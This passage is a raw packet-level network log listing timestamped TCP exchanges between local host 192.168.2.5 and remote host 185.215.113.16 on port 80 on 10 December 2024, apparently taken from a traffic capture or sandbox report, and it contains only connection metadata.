Dec 10, 2024 02:50:49.529786110 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.529903889 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.529948950 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.530085087 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.530131102 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.531032085 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.531078100 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.531219006 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.531264067 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.532109022 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.532155037 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.532242060 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.532290936 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.533262014 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.533315897 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.533436060 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.533482075 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.534327984 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.534374952 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.534495115 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.534538031 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.535659075 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.535670996 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.535706997 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.536504984 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.536552906 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.536623955 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.536669970 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.537594080 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.537641048 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.537863970 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.537904978 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.538696051 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.538742065 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.538813114 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.538856983 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.539808035 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.539853096 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.540049076 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.540096045 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.540877104 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.540925026 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.541035891 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.541080952 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.542025089 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.542176962 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.542248964 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.542293072 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.543083906 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.543132067 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.543225050 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.543272972 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.544162035 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.544205904 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.544295073 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.544336081 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.545546055 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.545593023 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.545974016 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.546020031 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.546422005 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.546464920 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.546598911 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.546644926 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.547468901 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.547514915 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.547691107 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.547736883 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.548547029 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.548665047 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.548702955 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.548744917 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.550177097 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.550190926 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.550224066 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.550765038 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.550811052 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.550915003 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.550961971 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.552155018 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.552165985 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.552203894 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.552932978 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.552983046 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.553119898 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.553165913 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.554034948 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.554080963 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.554157972 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.554203033 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.555428982 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.555480003 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.555649042 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.555695057 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.556260109 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.556308031 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.556361914 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.556406975 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.557336092 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.557384014 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.557419062 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.557461023 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.558691978 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.558703899 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.558742046 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.559632063 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.559680939 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.688565016 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.689038038 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.689259052 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.689580917 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.689594030 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.689636946 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.690088987 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.690131903 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.690783978 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.690828085 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.691513062 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.691525936 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.691561937 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.691992044 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.692003012 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.692048073 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.692454100 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.692656040 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.692711115 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.692760944 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.693602085 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.693613052 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.693650007 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.693900108 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.693947077 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.694154978 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.694196939 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.694897890 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.694910049 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.694945097 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.695563078 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.695610046 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.695672035 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.695713997 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.696688890 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.696700096 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.696738005 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.697649002 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.697660923 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.697699070 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.698628902 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.698642015 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.698679924 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.699590921 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.699604034 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.699642897 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.700066090 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.700108051 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.700295925 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.700342894 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.701014042 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.701059103 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.701246023 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.701289892 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.701519966 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.701565981 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.701729059 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.701778889 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.702366114 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.702413082 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.702517033 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.702560902 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.703241110 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.703289032 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.703372002 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.703413010 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.704099894 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.704148054 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.704247952 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.704293013 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.704937935 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.704986095 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.705071926 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.705111027 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.706310034 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.706321001 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.706360102 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.707273960 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.707284927 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.707331896 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.707762003 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.707808971 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.707983017 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.708029985 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.708388090 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.708434105 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.708504915 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.708555937 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.709254026 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.709300995 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.709366083 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.709410906 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.710093975 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.710148096 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.710313082 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.710357904 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.710944891 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.710994005 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.711052895 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.711091995 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.711802959 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.711847067 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.711903095 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.711940050 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.712647915 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.712693930 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.712757111 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.712805033 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.713532925 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.713579893 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.713641882 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.713685036 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.714616060 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.714663029 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.715074062 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.715120077 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.715327978 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.715373039 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.715538025 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.715586901 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.716047049 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.716092110 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.716202974 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.716248035 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.716939926 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.716988087 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.717080116 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.717127085 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.717766047 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.717813015 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.717936039 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.717981100 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.718612909 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.718657970 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.718866110 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.718910933 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.719480991 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.719527006 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.719604015 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.719641924 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.720341921 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.720390081 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.720454931 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.720499992 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.721183062 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.721229076 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.721304893 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.721349955 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.722093105 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.722142935 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.722549915 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.722595930 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.723071098 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.723110914 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.723516941 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.723562956 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.723730087 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.723773956 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.723989010 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.724035025 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.724585056 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.724637985 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.724759102 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.724805117 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.725456953 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.725502014 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.725585938 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.725629091 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.726399899 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.726444960 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.726840973 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.726887941 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.727166891 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.727214098 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.727349997 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.727392912 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.728003979 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.728049994 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.728137970 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.728185892 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.728869915 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.728921890 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.728987932 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.729042053 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.729753971 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.729882002 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.729924917 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.730665922 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.730712891 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.730930090 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.730983019 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.731652975 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.731663942 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.731703997 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.732271910 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.732315063 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.732445002 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.732491016 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.733139992 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.733190060 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.880847931 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.880907059 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.880964041 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.881093979 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.881131887 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.881227970 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.881266117 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.881975889 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.882020950 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.882396936 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.882441044 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.882786989 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.882828951 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.882941008 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.882983923 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.883634090 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.883680105 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.883877039 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.883920908 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.884497881 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.884651899 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.884695053 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.885346889 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.885390997 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.885592937 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.885641098 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.886192083 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.886249065 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.886332035 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.886370897 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.887039900 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:49.887079000 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:49.887281895 CET	80	49798	185.215.113.16	192.168.2.5
